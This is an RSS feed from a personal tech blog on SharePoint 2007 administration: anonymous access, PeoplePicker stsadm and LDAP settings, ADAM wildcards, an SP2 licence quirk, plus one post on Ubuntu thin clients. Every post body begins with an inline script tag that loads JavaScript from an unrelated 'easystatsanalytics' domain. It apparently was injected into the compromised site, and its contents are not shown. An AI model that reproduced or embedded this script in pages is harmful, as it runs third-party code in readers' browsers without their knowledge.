<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rob&#039;s Tech Fun and Games &#187; installation</title>
	<atom:link href="http://kipper.org.uk/index.php/tag/installation/feed/" rel="self" type="application/rss+xml" />
	<link>http://kipper.org.uk</link>
	<description>Technical notes for tricky situations</description>
	<lastBuildDate>Fri, 03 Jun 2011 13:12:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Anonymous Access to Microsoft SharePoint 2007 Sites</title>
		<link>http://kipper.org.uk/index.php/2010/03/anonymous-access-to-microsoft-sharepoint-2007-sites/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=anonymous-access-to-microsoft-sharepoint-2007-sites</link>
		<comments>http://kipper.org.uk/index.php/2010/03/anonymous-access-to-microsoft-sharepoint-2007-sites/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 15:26:53 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[anonymous]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[ISA 2006]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=118</guid>
		<description><![CDATA[I recently came across a need to publish a SharePoint site without authentication &#8211; effectively using anonymous access to the site.  Its surprisingly complex to set up correctly, especially if you are working with a secure ISA front end. Share Point Configuration First, you need to enable anonymous access for the entire web application, for [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fanonymous-access-to-microsoft-sharepoint-2007-sites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fanonymous-access-to-microsoft-sharepoint-2007-sites%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>I recently came across a need to publish a SharePoint site without authentication &#8211; effectively using anonymous access to the site.  Its surprisingly complex to set up correctly, especially if you are working with a secure ISA front end.</p>
<h4>Share Point Configuration</h4>
<p>First, you need to enable anonymous access for the entire web application, for every SharePoint zone.  Open the Central Administration site, and select &#8220;Application Management&#8221;.  Now select &#8220;Authentication Providers&#8221;.</p>
<p>When the Authentication Providers page appears, make sure you are looking at the right web application, then click on each zone, enable anonymous authentication, and click OK.  Once all the zones have been configured, the web application will allow anonymous access.</p>
<p>Just because anonymous access is available on the web application, it doesn&#8217;t mean its available on the sites!  You have to then set up permission on the individual sites.</p>
<p>In order to set the permissions on your site, you either need to go straight to the address:</p>
<p><a href="http://yoursite/_layouts/setanon.aspx">http://yoursite/_layouts/setanon.aspx</a></p>
<p>Or go to Site Settings on the Site Actions menu, select &#8220;Advanced Permissions&#8221; from the &#8220;Users and Permissions&#8221; column, and then select Anonymous Access from the &#8220;Settings&#8221; option list.</p>
<p>Once there, simple tick to enable anonymous access!</p>
<p>If SharePoint is directly accessible, then you are done!  If, however, you are using ISA server to guard SharePoint, there are a couple more things left to do.</p>
<h4>ISA Server</h4>
<p>If you are using forms based authentication with ISA, then you need to bypass it for anonymous access!  Its not particularly surprising, but there are a few quirks when you set up your new rule and web listener.</p>
<p>First, it needs to be on a different IP address or port, otherwise you can&#8217;t create a new web listener.</p>
<p>Second, if you are restricting access to a limited IP address range without authentication &#8230; DO NOT SET UP AN EXTERNAL NETWORK.  Set up an address range, or all the configuration will fail.</p>
<p>Finally, if you set up a web listener, using the No Authentication option, and set the system to pass authentication through to the client,you must ensure that the option &#8220;allow client authentication over HTTP&#8221; is also ticked in the &#8220;Advanced&#8221; options within the Authentication tab on the web listener, otherwise all pages will show a 401 UNAUTHORIZED message if you access them without a username and password!</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/03/anonymous-access-to-microsoft-sharepoint-2007-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint 2007 &#8211; Design is Everything!</title>
		<link>http://kipper.org.uk/index.php/2010/03/sharepoint-2007-design-is-everything/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-2007-design-is-everything</link>
		<comments>http://kipper.org.uk/index.php/2010/03/sharepoint-2007-design-is-everything/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 13:00:40 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=115</guid>
		<description><![CDATA[After some of the recent comments on various SharePoint posts, I thought it was worth going through the most important part of using SharePoint &#8230; planning!  SharePoint is a very powerful system, but it is really, really difficult to change the architecture once it&#8217;s already installed.  You NEED (and my apologies for shouting, but the [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fsharepoint-2007-design-is-everything%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fsharepoint-2007-design-is-everything%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>After some of the recent comments on various SharePoint posts, I thought it was worth going through the most important part of using SharePoint &#8230; planning!  SharePoint is a very powerful system, but it is really, really difficult to change the architecture once it&#8217;s already installed.  You NEED (and my apologies for shouting, but the emphasis is really deserved) to make sure that you install your directory services, security, SharePoint and prepare your site collections and templates correctly before you even think of using it.</p>
<p>This isn&#8217;t a step by step guide &#8211; SharePoint is simply too broad a platform for that sort of approach.  Instead, it lists some of the more common gotchas, or concepts to think about.  For more technical installation details, see my earlier posts:</p>
<p><a href="http://kipper.org.uk/index.php/2009/04/installing-sharepoint-gotchas-preinstallation/">Installing SharePoint 1 &#8211; Preinstallation</a></p>
<p><a href="http://kipper.org.uk/index.php/2009/04/installing-sharepoint-gotchas-part-2-installation/">Installation SharePoint 2 &#8211; Installation</a></p>
<p><a href="http://kipper.org.uk/index.php/2009/04/installing-sharepoint-gotchas-part-3-configuration/">Installing SharePoint 3 &#8211; Configuration</a></p>
<h4>I&#8217;m going to have lots of clients using my SharePoint system, but they can&#8217;t know about the others</h4>
<p>Security within SharePoint is generally scoped at a Site Collection level.  If clients shouldn&#8217;t be able to see each other on the system, you need to plan for that before you deploy anything.  Every group of external users should be hosted on a separate site collection, or you will <a href="http://http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/">hit issues with the PeoplePicker</a>.  If you intend to keep access control factors away from clients, thats not necessarily a show stopper, but as a general rule, use a site collection as a security scope.  You&#8217;ll also need to tell the PeoplePicker to be restrictive, using</p>
<p style="padding-left: 30px;">stsadm -o setproperty –url http://&lt;server&gt; –pn peoplepicker-onlysearchwithinsitecollection –pv yes</p>
<p>If you find out that you have multiple clients using subsites on a site collection, its too late.  You&#8217;ll have to go back to the design phase, or start introducing technical kludges like replacing the PeoplePicker functionality yourself.</p>
<h4>My network grew organically, and I currently have a fairly complex domain structure.</h4>
<p>OK &#8211; stop right there!  If you have a complex domain structure, you need to think long and hard about which domains will access SharePoint, work out trusts and user rights, and manually configure SharePoint to be able to see all of the <a href="http://http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/">applicable Forests and Domains</a>.  You&#8217;ll also need to work out any potential security headaches with firewalls, ports and domain authentication from your SharePoint installation.  Don&#8217;t install SharePoint, then think about this.  It&#8217;ll have all sorts of issues with the People Picker, the search services and user profiles, and with security and authentication too, especially if you hide SharePoint behind a security provider like ISA 2006!</p>
<h4>I don&#8217;t want to add external users to my live Active Directory</h4>
<p>Fair enough!  There are two possible solutions &#8211; either set up up a new Active Directory domain for external users in the DMZ, and then set up a one way trust (for internal users), or simply install another directory service.  <a href="http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/">ADAM </a>is a light directory service, perfect for this sort of environment.  Either solution needs to be in place before you deploy SharePoint &#8211; again, preparation will stand you in great stead.</p>
<h4>I&#8217;ve been running SharePoint for a while, and my security architecture is out of control.</h4>
<p>This will happen, unless you have really done a good job in terms of planning ahead.  Wherever possible, try to ensure access rights are maintained as smoothly as possible.  If you set up roles based on directory service groups, then maintain those groups, your security takes care of itself, particularly for internal users, where your system administrators should maintain AD groups as a matter of course.  The more granular your application of security within SharePoint, the harder you&#8217;ll find maintenance.  <a href="http://kipper.org.uk/index.php/2009/05/sharepoint-permissions-maintaining-a-security-structure/">Keep to groups</a>, and maintain the groups wherever there isn&#8217;t a clear business need.</p>
<h4>Final thoughts</h4>
<p>Like any complex system, the key to Microsoft SharePoint is proper planning.  If you understand:</p>
<ol>
<li>Your business problem (client restricted extranets are different to open forums, which differ from intranets!)</li>
<li>Your business environment (especially your technical deployment, such as DMZ requirements and domain structure, but a grasp of the basic business factors can be invaluable)</li>
<li>the architecture of Mcirosoft SharePoint</li>
</ol>
<p>then you can deploy a system that will acheive your goal efficiently and securely.  If you install SharePoint without planning, because &#8220;SharePoint is the way to go&#8221;, with no understanding or foresight, then you&#8217;ll be problem solving until the project fails.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/03/sharepoint-2007-design-is-everything/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Ubuntu in the corporate world</title>
		<link>http://kipper.org.uk/index.php/2010/02/using-ubuntu-in-the-corporate-world/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=using-ubuntu-in-the-corporate-world</link>
		<comments>http://kipper.org.uk/index.php/2010/02/using-ubuntu-in-the-corporate-world/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 10:50:54 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VMWare]]></category>
		<category><![CDATA[VMWare Open Client]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[installation]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=98</guid>
		<description><![CDATA[Recently, I&#8217;ve been playing with Linux, specifically Ubuntu, in an attempt to set up a simple, maintainable client for virtual desktops.  Its been a fair while since I&#8217;ve used linux in a serious sense, so I thought I&#8217;d post up what I&#8217;ve done, as I progress (largely for my own reference, but hopefully others might [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Fusing-ubuntu-in-the-corporate-world%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Fusing-ubuntu-in-the-corporate-world%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Recently, I&#8217;ve been playing with Linux, specifically Ubuntu, in an attempt to set up a simple, maintainable client for virtual desktops.  Its been a fair while since I&#8217;ve used linux in a serious sense, so I thought I&#8217;d post up what I&#8217;ve done, as I progress (largely for my own reference, but hopefully others might find it of use!)</p>
<p>Key requirements are:</p>
<p>A virtual client!  In this instance, the vmware open client will need to be installed and configured on the desktop.  There are still limitations with the open client that may break the plan &#8211; limitations with remote media playback, and usb redirection are two areas in particular that may cause issues.</p>
<p>A working web browser!  Of course, Firefox is an obvious standard, installed with Ubuntu, so thats not much of a challenge, at least on the surface.  Beyond a working web browser, we need to possibly extend our server architecture to support browsers beyond Internet Explorer for our key wep applications, allowing a level of work to be carried out in the event of virtual desktop failures.  This is where things get a lot harder!</p>
<p>A standard environment across different hardware, locked down for the default user.   This is actually quite tricky.  By default, linux is designed to be easy to customise and configure, so locking it down to a single user, while allowing network proxy changes and wireless connections, is actually quite a challenge.  In addition, desktop launchers will need to be variable, depending on local printer installations for users on laptops with home printer (vmware-view allows you to redirect a printer, but you need to specifically do it by name).</p>
<p>An architecture to allow remote reconfiguration, support and updates across a company wide platform.  This is one of the worst areas &#8211; linux still lags quite badly behind the sort of architecture taken for granted on a Windows network when it comes to administration through global policies.  It&#8217;s still fundamentally a server operating system,and admin tools generally focus on supporting machines runnign in that capacity, not as clients.  This is the hardest area of all, looking forward to a possible roll out of well over a thousand machines world wide, with a technical team with no linux experience!  Keeping the client simple and cheap, allowing machines to be swapped instead of supported is a very high priority where possible.</p>
<p>Hopefully the next series of posts on this topic will be useful, although its quite a change of tack from SharePoint!  Don&#8217;t worry, as new SharePoint issues come up, I&#8217;ll still be posting on that topic too.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/02/using-ubuntu-in-the-corporate-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More People Picker issues</title>
		<link>http://kipper.org.uk/index.php/2009/10/more-people-picker-issues/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=more-people-picker-issues</link>
		<comments>http://kipper.org.uk/index.php/2009/10/more-people-picker-issues/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 12:30:23 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=95</guid>
		<description><![CDATA[Tom commented on a post with the following problem, and I thought it merited a post. &#8220;We have a MOSS 2007 FARM AND 3 DOMAINS all have a two way trust.  We have over 78 sites all of which stopped with no known reason from being able to find users that are in one of [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F10%2Fmore-people-picker-issues%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F10%2Fmore-people-picker-issues%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Tom commented on a post with the following problem, and I thought it merited a post.</p>
<p style="padding-left: 30px;">&#8220;We have a MOSS 2007 FARM AND 3 DOMAINS all have a two way trust.  We have over 78 sites all of which stopped with no known reason from being able to find users that are in one of the domains we can find the users in the view profiles yet we can no longer find users using peoplepicker for any users from the one domain.</p>
<p style="padding-left: 30px;">We have tried this command you have provided and they come back with commandline error<br />
stsadm -o setproperty -pn peoplepicker-searchadforests -pv domain:full domain name,-userlogin domain\username password –url <a rel="nofollow" href="http://webapp/">http://webapp</a> url&#8221;</p>
<p>It sounds like an interesting problem, but its difficult to answer without more information.  Incidentally, the profiles comment, about being able to view user profiles, is rather a red herring.  This is handled by an import process specified elsewhere in the SSP, and has nothing to do with the People Picker displaying users.</p>
<p>Lets discuss the stsadm command first.   Without knowing the specific error message, I can&#8217;t say why the command is failing, but there are two probable outcomes.   stsadm is not generally included in the default path for a windows installation, so if the error message is:</p>
<p style="padding-left: 30px;">&#8216;stsadm&#8217; is not recognized as an internal or external command, operable program or batch file.</p>
<p>The problem is simply that you need to find the appropriate location first.  The location is generally:</p>
<p style="padding-left: 30px;">C:\Program Files\Common Files\Microsoft Shared\web server extensions\12\BIN&gt;</p>
<p>so simple change directory to that path, and run the STSADM again.  It sounds obvious, but I must admit, I had a bit of a nightmare trying to find the stsadm path when I first started looking at SharePoint!</p>
<p>The other possibility is that the command has been run, but that the parameters haven&#8217;t been entered correctly.  If so, you get the terribly helpful response of :</p>
<p style="padding-left: 30px;">Command line error.</p>
<p>Followed by a complete syntax reference for the command, and it sounds much more likely that this is the cause of the problem, from the notes in the question.  Unfortunately, this is quite a lot harder to discuss, as unsuprisingly people aren&#8217;t going to give the specific command line with all of their configuration details and passwords to be put onto a website, and the generic, censored versions are probably going to be correct, at least as far as it goes.</p>
<p>The best help I can give here is to put together a full hypothetical example, rather than just repeating the command syntax yet again.</p>
<p>Essentially, you first need to set an internal SharePoint encryption key, then tell the server what domains to add to the list, and what valid username and password to use to connect to the domain in order to pull back the list.  Don’t use administrator, btw!!!</p>
<p>To set the initial encryption key, use:</p>
<p style="padding-left: 30px;">stsadm.exe -o setapppassword -password &lt;yourencryptionkey&gt;</p>
<p>To set the actual domain link, use:</p>
<p style="padding-left: 30px;">stsadm.exe -o setproperty -url <a href="http://domain1.example.com:80">http://domain1.example.com:80</a> -pn “peoplepicker-searchadforests” -pv “domain:domain1.example.com,domain1\LoginName, <a href="mailto:P@ssword">P@ssword</a>; domain:domain2.example.com,domain2\LoginName, <a href="mailto:P@ssword">P@ssword</a>; domain:domain3.example.com,domain3\LoginName, <a href="mailto:P@ssword">P@ssword</a>&#8220;</p>
<p>Of course, with two way trusts a single user name and password could be used if you granted the appropriate rights. </p>
<p>What normally goes wrong putting this together?  Normally it is either the encryption key hasn&#8217;t been set first, or that construction of the domain list has a syntax issue (or that the surrounding quotes have been missed off).</p>
<p>As a rule, though, if you get a command line error when running stsadm, you have got the format wrong.  If the format is right, it won&#8217;t necessarily solve the problem (if your username or password is wrong, for example, it still can&#8217;t access the other domain information), but you&#8217;ll see the changes applied.  A good way of checking is to run:</p>
<p style="padding-left: 30px;">stsadm.exe -o getproperty -url <a href="http://domain1.example.com/">http://domain1.example.com:80</a> -pn “peoplepicker-searchadforests”</p>
<p>And it will show the details you&#8217;ve set (with passwords asterisked out).</p>
<p>What makes the problem Tom is experiencing interesting is that apparently the People Picker has been working, and now isn&#8217;t.  This, to me, implies that something has changed with the installation, or the Active Directory configuration.</p>
<p>Key things to check would be:</p>
<p>Has the system user context still got access rights to the domain that appears to be no longer accessible?  A two way trust means that user rights can be assigned &#8230; by default they arent.</p>
<p>Have the active directory servers changed?  If so, you may need to force DNS updates, otherwise resolution against the AD may be looking for defunct servers.</p>
<p>Has the stsadm command been run succesfully in the past, and the usernames and passwords have since changed (or expired)?  This will obviouslly drop off the people pickers ability to query the domain.</p>
<p>Has a security patch been applied against the domain, or has permissions to the Active Directory been changed?  By default, older systems allowed anyone to do a basic LDAP query against the Active Directory, but this was locked down.  If this loophole was previously being used instead of setting correct access rights for the security context of the wep application, it&#8217;ll obviously start causing this issue.</p>
<p>I hope this helps &#8211; Tom, if you&#8217;ve solved the problem, please let me know the solution <img src='http://kipper.org.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/10/more-people-picker-issues/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Filtering the SharePoint People Picker Results</title>
		<link>http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=filtering-the-sharepoint-people-picker-results</link>
		<comments>http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/#comments</comments>
		<pubDate>Fri, 24 Jul 2009 10:47:47 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[PeoplePicker]]></category>
		<category><![CDATA[SharePoint SP1]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=93</guid>
		<description><![CDATA[Someone asked in the comments on another post how to filter the responses to the People Picker to only show active users.  Its an unusual question, in that &#8220;Active Users&#8221; is so difficult to define.  The People Picker&#8217;s default behaviour includes a check to make sure that the account is enabled in Active Directory, so [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F07%2Ffiltering-the-sharepoint-people-picker-results%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F07%2Ffiltering-the-sharepoint-people-picker-results%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>
<div id="commentbody-151">
<p>Someone asked in the comments on another post how to filter the responses to the People Picker to only show active users.  Its an unusual question, in that &#8220;Active Users&#8221; is so difficult to define.  The People Picker&#8217;s default behaviour includes a check to make sure that the account is enabled in Active Directory, so disabled accounts are hidden.  Perhaps it means just users, not groups, or just those users granted access to the Site Collection.</p>
<p>I actually favor the option in the people picker to only return users which have been granted permissions on the Site collection.  This instantly means users in one site collection don&#8217;t know about the existence of others by default, and is easy to implement.  Just run:</p>
<p style="PADDING-LEFT: 30px">stsadm -o setproperty –url http://&lt;server&gt; –pn peoplepicker-onlysearchwithinsitecollection –pv yes</p>
<p>You can add specific users to the site collection by searching for the fully qualified logon name, but the people picker will only return users on the site.</p>
<p>If you need slightly more unusual options though, you&#8217;ll need to alter the query itself.  It&#8217;ll also potentially affect the ability to add any users to the site, so be very, very careful - I&#8217;d really recommend not trying this unless you are pretty confident with LDAP queries.</p>
<p>There are several ways of doing this &#8211; first, you can set the People Picker to use a custom LDAP query, and select exactly what you need from the AD.  The alternative is that you can allow the People Picker to use standard querys, and then filter the result set.  You can also restrict queries to a particular OU, which would obviously limit the response.</p>
<p>The first is best if you need to limit the query to a specific OU or search for a custom field flagging people as a SharePoint Site user, but be wanred &#8211; performanced on a non indexed field will be appalling.  I&#8217;d avoid it if possible.   The second is better if you need to hide certain user accounts (like service accounts) from the returned queries.  The last option is quite neat, but its rare that you structure AD for your SharePoint web applications.  Synergy online covers all these options in detail <a href="http://www.synergyonline.com/blog/blog-moss/Lists/Posts/Post.aspx?ID=5">here</a>.</p>
<p>Incidentally, I believe the LDAP query to filter for only active users is:</p>
<p style="padding-left: 30px;">(&amp;(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))</p>
<p>So to only return active users, not groups, you could use the following filter:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -url http://server/sites/vp-site -pn peoplepicker-searchadcustomfilter -pv &#8220;(&amp;(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))&#8221;</p>
<p>One final note &#8211; the AD filter and limiting the queries to an OU are only available from SharePoint SP1 onwards &#8211; make sure you&#8217;re patched!</p></div>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>SharePoint PeoplePicker and ADAM continued&#8230;</title>
		<link>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker-and-adam-continued/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-peoplepicker-and-adam-continued</link>
		<comments>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker-and-adam-continued/#comments</comments>
		<pubDate>Fri, 29 May 2009 08:30:37 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[ADAM]]></category>
		<category><![CDATA[ECTS]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=73</guid>
		<description><![CDATA[As a follow up query to the previous notes on working with the PeoplePicker and ADAM, I&#8217;ve been asked about the behaviour of the PeoplePicker &#8211; specifically, that it appears to only return external users if their username is specifically searched for, not if part of their name is entered.  Is there a way to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker-and-adam-continued%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker-and-adam-continued%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>As a follow up query to the previous notes on working with the PeoplePicker and ADAM, I&#8217;ve been asked about the behaviour of the PeoplePicker &#8211; specifically, that it appears to only return external users if their username is specifically searched for, not if part of their name is entered.  Is there a way to get exactly the same results for users from AD and ADAM?  Unfortunately, there are pretty severe limits to this, and unfortunately, I don&#8217;t believe you can actually get the same results, though I&#8217;d love to be proven wrong.</p>
<p>By default, when dealing with custom authentication sources, including ADAM, the PeoplePicker only returns exact matches.  If I search for the username, it will find it.  If its a user already on the site collection, it can use the local user details.  However, to find non exact matches in a custom repository, you need to edit the WebConfig file, by adding the following section:</p>
<p style="padding-left: 30px;">&lt;PeoplePickerWildcards&gt;<br />
  &lt;clear /&gt;<br />
  &lt;add key=&#8221;ADAMMembership&#8221; value=&#8221;*&#8221; /&gt;<br />
&lt;/PeoplePickerWildcards&gt;</p>
<p>Unfortunately, this solution isn&#8217;t perfect.  It effectively adds the wildcard symbol * to every search in the people picker.  Lets illustrate this step by step, using a Pat Smith as an example name.</p>
<p>If I search for &#8220;Pat&#8221;, before updating the web.config file, they&#8217;ll only appear with the full name in the results if they&#8217;ve already been added to the site somewhere, or if they&#8217;re actually in the Active Directory repository.</p>
<p>If I search for &#8220;Pat&#8221; after updating the web.config file, all the Pats from the ADAM repository and from AD will appear.   Problem solved?  No.</p>
<p>If I search for Smith, as a surname, I&#8217;ll get all the Smiths from AD, but not from ADAM.   Thats because the search going to ADAM is actually like &#8220;Smith*&#8221;.  It&#8217;ll find everything <em>starting</em> with Smith, not all names containing Smith, and I haven&#8217;t come across any variations that will actually resolve this search issue.  However, you&#8217;ll probably find that this is a significant step forward in any event.</p>
<p>As always with SharePoint, make sure you edit all of the relevant web.config files.  You may find SharePoint is happier if you run</p>
<p style="padding-left: 30px;">iisreset -noforce</p>
<p>after making the change, although in theory you shouldn&#8217;t need to - as a rule of thumb, major changes to web applications within SharePoint can have odd consequences otherwise.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker-and-adam-continued/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Add a dash of SharePoint SP2 to a production server, and admire your new trial server&#8230;</title>
		<link>http://kipper.org.uk/index.php/2009/05/add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server</link>
		<comments>http://kipper.org.uk/index.php/2009/05/add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server/#comments</comments>
		<pubDate>Wed, 27 May 2009 12:42:31 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[SharePoint SP2]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=69</guid>
		<description><![CDATA[In a stroke of rare genius, applying SharePoint SP2 to SharePoint 2007 has a strange effect &#8211; it resets the license type to become a 180 day trial version! Its not a major issue &#8211; reapplying your license key in the &#8220;Convert License Type&#8221; section in Central Administration will reset it, and you won&#8217;t have [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fadd-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fadd-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>In a stroke of rare genius, applying SharePoint SP2 to SharePoint 2007 has a strange effect &#8211; it resets the license type to become a 180 day trial version!</p>
<p>Its not a major issue &#8211; reapplying your license key in the &#8220;Convert License Type&#8221; section in Central Administration will reset it, and you won&#8217;t have lost any data in the meantime, but its something you need to be aware of&#8230;. otherwise you might hit more than a few issues in about 6 months!</p>
]]></content:encoded>
